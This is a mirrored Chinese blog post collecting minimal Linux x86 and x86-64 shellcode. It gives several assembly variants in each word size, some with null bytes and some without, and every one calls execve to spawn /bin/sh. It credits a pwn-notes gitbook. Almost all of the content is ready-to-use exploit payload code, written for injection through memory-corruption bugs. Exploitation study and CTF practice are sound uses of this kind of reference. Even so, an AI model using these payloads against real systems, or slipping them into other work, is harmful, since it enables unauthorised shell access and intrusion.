zoukankan      html  css  js  c++  java
  • Linux_ShellCode总结


      在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写。


    32位

    有"x00"最短 20 byte

    xor ecx,ecx               
    mul ecx                   
    mov al,0xb                
    push 0x68732f             
    push 0x6e69622f           
    mov ebx,esp               
    int 0x80

    无"x00"最短 21 byte

    xor ecx,ecx
    mul ecx
    push eax
    mov al,0xb
    push 0x68732f2f   
    push 0x6e69622f   
    mov ebx,esp
    int 0x80

    标准shellcode 23 byte

    xor ecx,ecx
    xor edx,edx
    push edx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx,esp
    xor eax,eax
    mov al,0xB
    int 0x80

    64位

    最短有"x00" 22 byte
    xor rsi,rsi
    mul esi
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    mov al, 59
    syscall

    最短无"x00" 23 byte

    xor rsi,rsi
    mul esi
    push rax
    mov rbx,0x68732f2f6e69622f
    push rbx
    push rsp
    pop rdi
    mov al, 59
    syscall

    标准shellcode 31 byte

    xor    rdi,rdi
    xor    rsi,rsi
    xor    rdx,rdx
    xor    rax,rax
    push   rax
    mov rbx,0x68732f2f6e69622f
    push   rbx
    mov    rdi,rsp
    mov    al,0x3b
    syscall

    上述内容全部来源于:https://b0ldfrev.gitbook.io/note/pwn/linux_shellcode

    我只是知识的搬运工,侵删!

  • 相关阅读:
    19_多态及引用类型的转化
    18_接口以及基本实现
    17_super关键字 超,基,父
    Static 关键字
    17_抽象类
    17_继承
    数 函数类 Math类
    ArrayList类 Arrays类 注释
    我的第一篇博客
    hdu 3478 Catch--二分图判断
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14558328.html
Copyright © 2011-2022 走看看